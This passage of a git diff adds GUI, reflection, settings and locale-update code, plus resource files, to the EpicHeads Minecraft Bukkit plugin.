(event.getView().getTitle().equals(pluginName + " Settings Manager")) { + event.setCancelled(true); + if (clickedItem.getType().name().contains("STAINED_GLASS")) return; + + String type = ChatColor.stripColor(clickedItem.getItemMeta().getDisplayName()); + this.cat.put((Player) event.getWhoClicked(), type); + this.openEditor((Player) event.getWhoClicked()); + } else if (event.getView().getTitle().equals(pluginName + " Settings Editor")) { + event.setCancelled(true); + if (clickedItem.getType().name().contains("STAINED_GLASS")) return; + + Player player = (Player) event.getWhoClicked(); + + String key = cat.get(player) + "." + ChatColor.stripColor(clickedItem.getItemMeta().getDisplayName()); + + if (instance.getConfig().get(key).getClass().getName().equals("java.lang.Boolean")) { + this.instance.getConfig().set(key, !instance.getConfig().getBoolean(key)); + this.finishEditing(player); + } else { + this.editObject(player, key); + } + } + } + + @EventHandler + public void onChat(AsyncPlayerChatEvent event) { + Player player = event.getPlayer(); + if (!current.containsKey(player)) return; + + String value = current.get(player); + FileConfiguration config = instance.getConfig(); + if (config.isInt(value)) { + config.set(value, Integer.parseInt(event.getMessage())); + } else if (config.isDouble(value)) { + config.set(value, Double.parseDouble(event.getMessage())); + } else if (config.isString(value)) { + config.set(value, event.getMessage()); + } + + Bukkit.getScheduler().scheduleSyncDelayedTask(EpicHeads.getInstance(), () -> + this.finishEditing(player), 0L); + + event.setCancelled(true); + } + + private void finishEditing(Player player) { + this.current.remove(player); + this.instance.saveConfig(); + this.openEditor(player); + } + + private void editObject(Player player, String current) { + this.current.put(player, ChatColor.stripColor(current)); + + player.closeInventory(); + player.sendMessage(""); + player.sendMessage(Methods.formatText("&7Please enter a value for &6" + current + "&7.")); + if (instance.getConfig().isInt(current) || instance.getConfig().isDouble(current)) { + player.sendMessage(Methods.formatText("&cUse only numbers.")); + } + player.sendMessage(""); + } + + public void openSettingsManager(Player player) { + Inventory inventory = Bukkit.createInventory(null, 27, pluginName + " Settings Manager"); + ItemStack glass = Methods.getGlass(); + for (int i = 0; i < inventory.getSize(); i++) { + inventory.setItem(i, glass); + } + + int slot = 10; + for (String key : instance.getConfig().getDefaultSection().getKeys(false)) { + ItemStack item = new ItemStack(instance.isServerVersionAtLeast(ServerVersion.V1_13) ? Material.WHITE_WOOL : Material.valueOf("WOOL"), 1, (byte) (slot - 9)); //ToDo: Make this function as it was meant to. + ItemMeta meta = item.getItemMeta(); + meta.setLore(Collections.singletonList(Methods.formatText("&6Click To Edit This Category."))); + meta.setDisplayName(Methods.formatText("&f&l" + key)); + item.setItemMeta(meta); + inventory.setItem(slot, item); + slot++; + } + + player.openInventory(inventory); + } + + private void openEditor(Player player) { + Inventory inventory = Bukkit.createInventory(null, 54, pluginName + " Settings Editor"); + FileConfiguration config = instance.getConfig(); + + int slot = 0; + for (String key : config.getConfigurationSection(cat.get(player)).getKeys(true)) { + String fKey = cat.get(player) + "." + key; + ItemStack item = new ItemStack(Material.DIAMOND_HELMET); + ItemMeta meta = item.getItemMeta(); + meta.setDisplayName(Methods.formatText("&6" + key)); + + List lore = new ArrayList<>(); + if (config.isBoolean(fKey)) { + item.setType(Material.LEVER); + lore.add(Methods.formatText(config.getBoolean(fKey) ? "&atrue" : "&cfalse")); + } else if (config.isString(fKey)) { + item.setType(Material.PAPER); + lore.add(Methods.formatText("&9" + config.getString(fKey))); + } else if (config.isInt(fKey)) { + item.setType(instance.isServerVersionAtLeast(ServerVersion.V1_13) ? Material.CLOCK : Material.valueOf("WATCH")); + lore.add(Methods.formatText("&5" + config.getInt(fKey))); + } + + meta.setLore(lore); + item.setItemMeta(meta); + + inventory.setItem(slot, item); + slot++; + } + + player.openInventory(inventory); + } + + public void updateSettings() { + FileConfiguration config = instance.getConfig(); + + for (Setting setting : Setting.values()) { + config.addDefault(setting.setting, setting.option); + } + } + + public enum Setting { + + GLASS_TYPE_1("Interfaces.Glass Type 1", 7), + GLASS_TYPE_2("Interfaces.Glass Type 2", 11), + GLASS_TYPE_3("Interfaces.Glass Type 3", 3), + + LANGUGE_MODE("System.Language Mode", "en_US"); + + private String setting; + private Object option; + + Setting(String setting, Object option) { + this.setting = setting; + this.option = option; + } + + public List getStringList() { + return EpicHeads.getInstance().getConfig().getStringList(setting); + } + + public boolean getBoolean() { + return EpicHeads.getInstance().getConfig().getBoolean(setting); + } + + public int getInt() { + return EpicHeads.getInstance().getConfig().getInt(setting); + } + + public String getString() { + return EpicHeads.getInstance().getConfig().getString(setting); + } + + public char getChar() { return EpicHeads.getInstance().getConfig().getString(setting).charAt(0); } + + } +} \ No newline at end of file diff --git a/src/main/java/com/songoda/epicheads/utils/gui/AbstractAnvilGUI.java b/src/main/java/com/songoda/epicheads/utils/gui/AbstractAnvilGUI.java new file mode 100644 index 0000000..612564a --- /dev/null +++ b/src/main/java/com/songoda/epicheads/utils/gui/AbstractAnvilGUI.java @@ -0,0 +1,304 @@ +package com.songoda.epicheads.utils.gui; + +import com.songoda.epicheads.EpicHeads; +import com.songoda.epicheads.utils.version.NMSUtil; +import org.bukkit.Bukkit; +import org.bukkit.Sound; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.EventPriority; +import org.bukkit.event.HandlerList; +import org.bukkit.event.Listener; +import org.bukkit.event.inventory.InventoryClickEvent; +import org.bukkit.event.inventory.InventoryCloseEvent; +import org.bukkit.event.player.PlayerQuitEvent; +import org.bukkit.inventory.Inventory; +import org.bukkit.inventory.ItemStack; +import org.bukkit.inventory.meta.ItemMeta; + +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.HashMap; +import java.util.Map; + +public class AbstractAnvilGUI { + + private static Class BlockPositionClass; + private static Class PacketPlayOutOpenWindowClass; + private static Class IChatBaseComponentClass; + private static Class ICraftingClass; + private static Class ContainerAnvilClass; + private static Class ChatMessageClass; + private static Class EntityHumanClass; + private static Class ContainerClass; + private static Class ContainerAccessClass; + private static Class WorldClass; + private static Class PlayerInventoryClass; + private static Class ContainersClass; + + private Player player; + private Map items = new HashMap<>(); + private OnClose onClose = null; + private Inventory inv; + private Listener listener; + + private Sound closeSound = Sound.ENTITY_PLAYER_LEVELUP; + + static { + BlockPositionClass = NMSUtil.getNMSClass("BlockPosition"); + PacketPlayOutOpenWindowClass = NMSUtil.getNMSClass("PacketPlayOutOpenWindow"); + IChatBaseComponentClass = NMSUtil.getNMSClass("IChatBaseComponent"); + ICraftingClass = NMSUtil.getNMSClass("ICrafting"); + ContainerAnvilClass = NMSUtil.getNMSClass("ContainerAnvil"); + EntityHumanClass = NMSUtil.getNMSClass("EntityHuman"); + ChatMessageClass = NMSUtil.getNMSClass("ChatMessage"); + ContainerClass = NMSUtil.getNMSClass("Container"); + WorldClass = NMSUtil.getNMSClass("World"); + PlayerInventoryClass = NMSUtil.getNMSClass("PlayerInventory"); + + if (NMSUtil.getVersionNumber() > 13) { + ContainerAccessClass = NMSUtil.getNMSClass("ContainerAccess"); + ContainersClass = NMSUtil.getNMSClass("Containers"); + } + } + + public AbstractAnvilGUI(final Player player, final AnvilClickEventHandler handler) { + this.player = player; + + this.listener = new Listener() { + @EventHandler(priority = EventPriority.LOWEST) + public void onInventoryClick(InventoryClickEvent event) { + if (event.getWhoClicked() instanceof Player) { + + if (event.getInventory().equals(inv)) { + event.setCancelled(true); + + ItemStack item = event.getCurrentItem(); + int slot = event.getRawSlot(); + String name = ""; + + if (item != null) { + if (item.hasItemMeta()) { + ItemMeta meta = item.getItemMeta(); + + if (meta != null && meta.hasDisplayName()) { + name = meta.getDisplayName(); + } + } + } + + AnvilClickEvent clickEvent = new AnvilClickEvent(AnvilSlot.bySlot(slot), name); + + handler.onAnvilClick(clickEvent); + + if (clickEvent.getWillClose()) { + event.getWhoClicked().closeInventory(); + } + + if (clickEvent.getWillDestroy()) { + destroy(); + } + } + } + } + + @EventHandler(priority = EventPriority.LOWEST) + public void onInventoryClose(InventoryCloseEvent event) { + if (event.getPlayer() instanceof Player) { + Inventory inv = event.getInventory(); + player.setLevel(player.getLevel() - 1); + if (inv.equals(inv)) { + inv.clear(); + player.playSound(player.getLocation(), closeSound, 1F, 1F); + Bukkit.getScheduler().scheduleSyncDelayedTask(EpicHeads.getInstance(), () -> { + if (onClose != null) onClose.OnClose(player, inv); + destroy(); + }, 1L); + + } + } + } + + @EventHandler(priority = EventPriority.LOWEST) + public void onPlayerQuit(PlayerQuitEvent event) { + if (event.getPlayer().equals(getPlayer())) { + player.setLevel(player.getLevel() - 1); + destroy(); + } + } + }; + + Bukkit.getPluginManager().registerEvents(listener, EpicHeads.getInstance()); + } + + public Player getPlayer() { + return player; + } + + public void setSlot(AnvilSlot slot, ItemStack item) { + items.put(slot, item); + } + + public void open() { + player.setLevel(player.getLevel() + 1); + + try { + Object craftPlayer = NMSUtil.getCraftClass("entity.CraftPlayer").cast(player); + Method getHandleMethod = craftPlayer.getClass().getMethod("getHandle"); + Object entityPlayer = getHandleMethod.invoke(craftPlayer); + Object playerInventory = NMSUtil.getFieldObject(entityPlayer, NMSUtil.getField(entityPlayer.getClass(), "inventory", false)); + Object world = NMSUtil.getFieldObject(entityPlayer, NMSUtil.getField(entityPlayer.getClass(), "world", false)); + Object blockPosition = BlockPositionClass.getConstructor(int.class, int.class, int.class).newInstance(0, 0, 0); + + Object container; + + if (NMSUtil.getVersionNumber() > 13) { + container = ContainerAnvilClass + .getConstructor(int.class, PlayerInventoryClass, ContainerAccessClass) + .newInstance(7, playerInventory, ContainerAccessClass.getMethod("at", WorldClass, BlockPositionClass).invoke(null, world, blockPosition)); + } else { + container = ContainerAnvilClass + .getConstructor(PlayerInventoryClass, WorldClass, BlockPositionClass, EntityHumanClass) + .newInstance(playerInventory, world, blockPosition, entityPlayer); + } + + NMSUtil.getField(ContainerClass, "checkReachable", true).set(container, false); + + Method getBukkitViewMethod = container.getClass().getMethod("getBukkitView"); + Object bukkitView = getBukkitViewMethod.invoke(container); + Method getTopInventoryMethod = bukkitView.getClass().getMethod("getTopInventory"); + inv = (Inventory) getTopInventoryMethod.invoke(bukkitView); + + for (AnvilSlot slot : items.keySet()) { + inv.setItem(slot.getSlot(), items.get(slot)); + } + + Method nextContainerCounterMethod = entityPlayer.getClass().getMethod("nextContainerCounter"); + int c = (int) nextContainerCounterMethod.invoke(entityPlayer); + + Constructor chatMessageConstructor = ChatMessageClass.getConstructor(String.class, Object[].class); + Object inventoryTitle = chatMessageConstructor.newInstance("Repairing", new Object[]{}); + + Object packet; + + if (NMSUtil.getVersionNumber() > 13) { + packet = PacketPlayOutOpenWindowClass + .getConstructor(int.class, ContainersClass, IChatBaseComponentClass) + .newInstance(c, ContainersClass.getField("ANVIL").get(null), inventoryTitle); + } else { + packet = PacketPlayOutOpenWindowClass + .getConstructor(int.class, String.class, IChatBaseComponentClass, int.class) + .newInstance(c, "minecraft:anvil", inventoryTitle, 0); + } + + NMSUtil.sendPacket(player, packet); + + Field activeContainerField = NMSUtil.getField(EntityHumanClass, "activeContainer", true); + + if (activeContainerField != null) { + activeContainerField.set(entityPlayer, container); + NMSUtil.getField(ContainerClass, "windowId", true).set(activeContainerField.get(entityPlayer), c); + Method addSlotListenerMethod = activeContainerField.get(entityPlayer).getClass().getMethod("addSlotListener", ICraftingClass); + addSlotListenerMethod.invoke(activeContainerField.get(entityPlayer), entityPlayer); + + if (NMSUtil.getVersionNumber() > 13) { + ContainerClass.getMethod("setTitle", IChatBaseComponentClass).invoke(container, inventoryTitle); + } + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + public void destroy() { + player = null; + items = null; + + HandlerList.unregisterAll(listener); + + listener = null; + } + + private OnClose getOnClose() { + return onClose; + } + + public void setOnClose(OnClose onClose) { + this.onClose = onClose; + } + + public void setCloseSound(Sound sound) { + closeSound = sound; + } + + public enum AnvilSlot { + INPUT_LEFT(0), + INPUT_RIGHT(1), + OUTPUT(2); + + private int slot; + + AnvilSlot(int slot) { + this.slot = slot; + } + + public static AnvilSlot bySlot(int slot) { + for (AnvilSlot anvilSlot : values()) { + if (anvilSlot.getSlot() == slot) { + return anvilSlot; + } + } + + return null; + } + + public int getSlot() { + return slot; + } + } + + @FunctionalInterface + public interface AnvilClickEventHandler { + void onAnvilClick(AnvilClickEvent event); + } + + public class AnvilClickEvent { + private AnvilSlot slot; + + private String name; + + private boolean close = true; + private boolean destroy = true; + + public AnvilClickEvent(AnvilSlot slot, String name) { + this.slot = slot; + this.name = name; + } + + public AnvilSlot getSlot() { + return slot; + } + + public String getName() { + return name; + } + + public boolean getWillClose() { + return close; + } + + public void setWillClose(boolean close) { + this.close = close; + } + + public boolean getWillDestroy() { + return destroy; + } + + public void setWillDestroy(boolean destroy) { + this.destroy = destroy; + } + } + +} \ No newline at end of file diff --git a/src/main/java/com/songoda/epicheads/utils/gui/AbstractGUI.java b/src/main/java/com/songoda/epicheads/utils/gui/AbstractGUI.java new file mode 100644 index 0000000..7cd897a --- /dev/null +++ b/src/main/java/com/songoda/epicheads/utils/gui/AbstractGUI.java @@ -0,0 +1,238 @@ +package com.songoda.epicheads.utils.gui; + +import com.songoda.epicheads.EpicHeads; +import com.songoda.epicheads.utils.Methods; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.Material; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.Listener; +import org.bukkit.event.inventory.ClickType; +import org.bukkit.event.inventory.InventoryClickEvent; +import org.bukkit.event.inventory.InventoryCloseEvent; +import org.bukkit.event.inventory.InventoryType; +import org.bukkit.inventory.Inventory; +import org.bukkit.inventory.InventoryHolder; +import org.bukkit.inventory.ItemStack; +import org.bukkit.inventory.meta.ItemMeta; +import org.bukkit.plugin.java.JavaPlugin; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +public abstract class AbstractGUI implements Listener { + + private static boolean listenersInitialized = false; + protected final Player player; + protected Inventory inventory = null; + protected String setTitle = null; + protected boolean cancelBottom = false; + private Map clickables = new HashMap<>(); + private List onCloses = new ArrayList<>(); + private Map draggableRanges = new HashMap<>(); + + public AbstractGUI(Player player) { + this.player = player; + } + + public static void initializeListeners(JavaPlugin plugin) { + if (listenersInitialized) return; + + Bukkit.getPluginManager().registerEvents(new Listener() { + @EventHandler + public void onClickGUI(InventoryClickEvent event) { + Inventory inventory = event.getClickedInventory(); + if (inventory == null) return; + AbstractGUI gui = getGUIFromInventory(inventory); + Player player = (Player) event.getWhoClicked(); + + boolean bottom = false; + + InventoryType type = event.getClickedInventory().getType(); + if (type != InventoryType.CHEST && type != InventoryType.PLAYER) return; + + if (gui == null && event.getWhoClicked().getOpenInventory().getTopInventory() != null) { + Inventory top = event.getWhoClicked().getOpenInventory().getTopInventory(); + gui = getGUIFromInventory(top); + + if (gui != null && gui.cancelBottom) event.setCancelled(true); + bottom = true; + } + + if (gui == null) return; + + if (!bottom) event.setCancelled(true); + + if (!gui.draggableRanges.isEmpty() && !bottom) { + for (Map.Entry entry : gui.draggableRanges.entrySet()) { + Range range = entry.getKey(); + if (range.getMax() == range.getMin() && event.getSlot() == range.getMin() + || event.getSlot() >= range.getMin() && event.getSlot() <= range.getMax()) { + event.setCancelled(!entry.getValue()); + if (!entry.getValue()) break; + } + } + } + + Map entries = new HashMap<>(gui.clickables); + + for (Map.Entry entry : entries.entrySet()) { + Range range = entry.getKey(); + if (range.isBottom() && !bottom || !range.isBottom() && bottom || range.getClickType() != null && range.getClickType() != event.getClick()) + continue; + if (event.getSlot() >= range.getMin() && event.getSlot() <= range.getMax()) { + entry.getValue().Clickable(player, inventory, event.getCursor(), event.getSlot(), event.getClick()); + player.playSound(player.getLocation(), entry.getKey().getOnClickSound(), 1F, 1F); + } + } + } + + @EventHandler + public void onCloseGUI(InventoryCloseEvent event) { + Inventory inventory = event.getInventory(); + AbstractGUI gui = getGUIFromInventory(inventory); + + if (gui == null || gui.inventory == null) return; + + for (OnClose onClose : gui.onCloses) { + onClose.OnClose((Player) event.getPlayer(), inventory); + } + } + + private AbstractGUI getGUIFromInventory(Inventory inventory) { + if (inventory.getHolder() == null) return null; + InventoryHolder holder = inventory.getHolder(); + if (!(holder instanceof GUIHolder)) return null; + + return ((AbstractGUI.GUIHolder) holder).getGUI(); + } + }, plugin); + listenersInitialized = true; + } + + public void init(String title, int slots) { + if (inventory == null + || inventory.getSize() != slots + || ChatColor.translateAlternateColorCodes('&', title) != player.getOpenInventory().getTitle()) { + this.inventory = Bukkit.getServer().createInventory(new GUIHolder(), slots, Methods.formatText(title)); + this.setTitle = Methods.formatText(title); + if (this.clickables.size() == 0) + registerClickables(); + if (this.onCloses.size() == 0) + registerOnCloses(); + } + constructGUI(); + initializeListeners(EpicHeads.getInstance()); + player.openInventory(inventory); + } + + protected abstract void constructGUI(); + + protected void addDraggable(Range range, boolean option) { + this.draggableRanges.put(range, option); + } + + protected void removeDraggable() { + this.draggableRanges.clear(); + } + + protected abstract void registerClickables(); + + protected abstract void registerOnCloses(); + + protected ItemStack createButton(int slot, Inventory inventory, ItemStack item, String name, String... lore) { + ItemMeta meta = item.getItemMeta(); + meta.setDisplayName(ChatColor.translateAlternateColorCodes('&', name)); + if (lore != null && lore.length != 0) { + List newLore = new ArrayList<>(); + for (String line : lore) newLore.add(ChatColor.translateAlternateColorCodes('&', line)); + meta.setLore(newLore); + } + item.setItemMeta(meta); + inventory.setItem(slot, item); + return item; + } + + protected ItemStack createButton(int slot, ItemStack item, String name, ArrayList lore) { + return createButton(slot, inventory, item, name, lore.toArray(new String[0])); + } + + + protected ItemStack createButton(int slot, ItemStack item, String name, String... lore) { + return createButton(slot, inventory, item, name, lore); + } + + protected ItemStack createButton(int slot, Object item, String name, String... lore) { + if (item instanceof ItemStack) + return createButton(slot, inventory, (ItemStack)item, name, lore); + else + return createButton(slot, inventory, (Material)item, name, lore); + } + + protected ItemStack createButton(int slot, Inventory inventory, Material material, String name, String... lore) { + return createButton(slot, inventory, new ItemStack(material), name, lore); + } + + protected ItemStack createButton(int slot, Material material, String name, String... lore) { + return createButton(slot, inventory, new ItemStack(material), name, lore); + } + + protected ItemStack createButton(int slot, Material material, String name, ArrayList lore) { + return createButton(slot, material, name, lore.toArray(new String[0])); + } + + protected void registerClickable(int min, int max, ClickType clickType, boolean bottom, Clickable clickable) { + clickables.put(new Range(min, max, clickType, bottom), clickable); + } + + protected void registerClickable(int min, int max, ClickType clickType, Clickable clickable) { + registerClickable(min, max, clickType, false, clickable); + } + + protected void registerClickable(int slot, ClickType clickType, Clickable clickable) { + registerClickable(slot, slot, clickType, false, clickable); + } + + protected void registerClickable(int min, int max, Clickable clickable) { + registerClickable(min, max, null, false, clickable); + } + + protected void registerClickable(int slot, boolean bottom, Clickable clickable) { + registerClickable(slot, slot, null, bottom, clickable); + } + + protected void registerClickable(int slot, Clickable clickable) { + registerClickable(slot, slot, null, false, clickable); + } + + protected void resetClickables() { + clickables.clear(); + } + + protected void registerOnClose(OnClose onClose) { + onCloses.add(onClose); + } + + public Inventory getInventory() { + return inventory; + } + + public class GUIHolder implements InventoryHolder { + + @Override + public Inventory getInventory() { + return inventory; + } + + public AbstractGUI getGUI() { + return AbstractGUI.this; + } + } + + public String getSetTitle() { + return setTitle; + } +} diff --git a/src/main/java/com/songoda/epicheads/utils/gui/Clickable.java b/src/main/java/com/songoda/epicheads/utils/gui/Clickable.java new file mode 100644 index 0000000..e828e24 --- /dev/null +++ b/src/main/java/com/songoda/epicheads/utils/gui/Clickable.java @@ -0,0 +1,11 @@ +package com.songoda.epicheads.utils.gui; + +import org.bukkit.entity.Player; +import org.bukkit.event.inventory.ClickType; +import org.bukkit.inventory.Inventory; +import org.bukkit.inventory.ItemStack; + +public interface Clickable { + + void Clickable(Player player, Inventory inventory, ItemStack cursor, int slot, ClickType type); +} diff --git a/src/main/java/com/songoda/epicheads/utils/gui/OnClose.java b/src/main/java/com/songoda/epicheads/utils/gui/OnClose.java new file mode 100644 index 0000000..b377186 --- /dev/null +++ b/src/main/java/com/songoda/epicheads/utils/gui/OnClose.java @@ -0,0 +1,10 @@ +package com.songoda.epicheads.utils.gui; + +import org.bukkit.entity.Player; +import org.bukkit.inventory.Inventory; + +public interface OnClose { + + void OnClose(Player player, Inventory inventory); + +} diff --git a/src/main/java/com/songoda/epicheads/utils/gui/Range.java b/src/main/java/com/songoda/epicheads/utils/gui/Range.java new file mode 100644 index 0000000..3d65911 --- /dev/null +++ b/src/main/java/com/songoda/epicheads/utils/gui/Range.java @@ -0,0 +1,51 @@ +package com.songoda.epicheads.utils.gui; + +import com.songoda.epicheads.EpicHeads; +import com.songoda.epicheads.utils.ServerVersion; +import org.bukkit.Sound; +import org.bukkit.event.inventory.ClickType; + +public class Range { + + private int min; + private int max; + private ClickType clickType; + private boolean bottom; + private Sound onClickSound; + + public Range(int min, int max, ClickType clickType, boolean bottom) { + this.min = min; + this.max = max; + this.clickType = clickType; + this.bottom = bottom; + if (EpicHeads.getInstance().isServerVersionAtLeast(ServerVersion.V1_9)) onClickSound = Sound.UI_BUTTON_CLICK; + } + + public Range(int min, int max, Sound onClickSound, ClickType clickType, boolean bottom) { + this.min = min; + this.max = max; + this.onClickSound = onClickSound; + this.clickType = clickType; + this.bottom = bottom; + } + + public int getMin() { + return min; + } + + public int getMax() { + return max; + } + + public ClickType getClickType() { + return clickType; + } + + public boolean isBottom() { + return bottom; + } + + public Sound getOnClickSound() { + return onClickSound; + } +} diff --git a/src/main/java/com/songoda/epicheads/utils/updateModules/LocaleModule.java b/src/main/java/com/songoda/epicheads/utils/updateModules/LocaleModule.java new file mode 100644 index 0000000..fab710b --- /dev/null +++ b/src/main/java/com/songoda/epicheads/utils/updateModules/LocaleModule.java @@ -0,0 +1,32 @@ +package com.songoda.epicheads.utils.updateModules; + +import com.songoda.epicheads.EpicHeads; +import com.songoda.update.Module; +import com.songoda.update.Plugin; +import org.json.simple.JSONArray; +import org.json.simple.JSONObject; + +import java.io.IOException; +import java.io.InputStream; +import java.net.URL; + +public class LocaleModule implements Module { + + @Override + public void run(Plugin plugin) { + JSONObject json = plugin.getJson(); + try { + JSONArray files = (JSONArray) json.get("neededFiles"); + for (Object o : files) { + JSONObject file = (JSONObject) o; + + if (file.get("type").equals("locale")) { + InputStream in = new URL((String) file.get("link")).openStream(); + EpicHeads.getInstance().getLocale().saveDefaultLocale(in, (String) file.get("name")); + } + } + } catch (IOException e) { + e.printStackTrace(); + } + } +} diff --git a/src/main/java/com/songoda/epicheads/utils/version/NMSUtil.java b/src/main/java/com/songoda/epicheads/utils/version/NMSUtil.java new file mode 100644 index 0000000..257208d --- /dev/null +++ b/src/main/java/com/songoda/epicheads/utils/version/NMSUtil.java @@ -0,0 +1,100 @@ +package com.songoda.epicheads.utils.version; + +import org.bukkit.Bukkit; +import org.bukkit.entity.Player; + +import java.lang.reflect.Field; + +public class NMSUtil { + + public static String getVersion() { + String name = Bukkit.getServer().getClass().getPackage().getName(); + return name.substring(name.lastIndexOf('.') + 1) + "."; + } + + public static int getVersionNumber() { + String name = getVersion().substring(3); + return Integer.valueOf(name.substring(0, name.length() - 4)); + } + + public static int getVersionReleaseNumber() { + String NMSVersion = getVersion(); + return Integer.valueOf(NMSVersion.substring(NMSVersion.length() - 2).replace(".", "")); + } + + public static Class getNMSClass(String className) { + try { + String fullName = "net.minecraft.server." + getVersion() + className; + Class clazz = Class.forName(fullName); + return clazz; + } catch (Exception e) { + e.printStackTrace(); + return null; + } + } + + public static Class getCraftClass(String className) throws ClassNotFoundException { + try { + String fullName = "org.bukkit.craftbukkit." + getVersion() + className; + Class clazz = Class.forName(fullName); + return clazz; + } catch (Exception e) { + e.printStackTrace(); + return null; + } + } + + public static Field getField(Class clazz, String name, boolean declared) { + try { + Field field; + + if (declared) { + field = clazz.getDeclaredField(name); + } else { + field = clazz.getField(name); + } + + field.setAccessible(true); + return field; + } catch (Exception e) { + e.printStackTrace(); + return null; + } + } + + public static Object getFieldObject(Object object, Field field) { + try { + return field.get(object); + } catch (Exception e) { + e.printStackTrace(); + return null; + } + } + + public static void setField(Object object, String fieldName, Object fieldValue, boolean declared) { + try { + Field field; + + if (declared) { + field = object.getClass().getDeclaredField(fieldName); + } else { + field = object.getClass().getField(fieldName); + } + + field.setAccessible(true); + field.set(object, fieldValue); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public static void sendPacket(Player player, Object packet) { + try { + Object handle = player.getClass().getMethod("getHandle").invoke(player); + Object playerConnection = handle.getClass().getField("playerConnection").get(handle); + playerConnection.getClass().getMethod("sendPacket", getNMSClass("Packet")).invoke(playerConnection, packet); + } catch (Exception e) { + e.printStackTrace(); + } + } +} diff --git a/src/main/resources/en_US.lang b/src/main/resources/en_US.lang new file mode 100644 index 0000000..6c4f95a --- /dev/null +++ b/src/main/resources/en_US.lang @@ -0,0 +1,3 @@ +#General Messages + +general.nametag.prefix = "&7[&6EpicHeads&7]" \ No newline at end of file diff --git a/src/main/resources/plugin.yml b/src/main/resources/plugin.yml new file mode 100644 index 0000000..f2f7407 --- /dev/null +++ b/src/main/resources/plugin.yml @@ -0,0 +1,12 @@ +name: EpicHeads +description: EpicHeads +main: com.songoda.epicheads.EpicHeads +version: maven-version-number +author: Songoda +api-version: 1.13 +commands: + EpicHeads: + description: View information on this plugin. + default: true + aliases: [ehe, heads, head] + usage: /epicheads \ No newline at end of file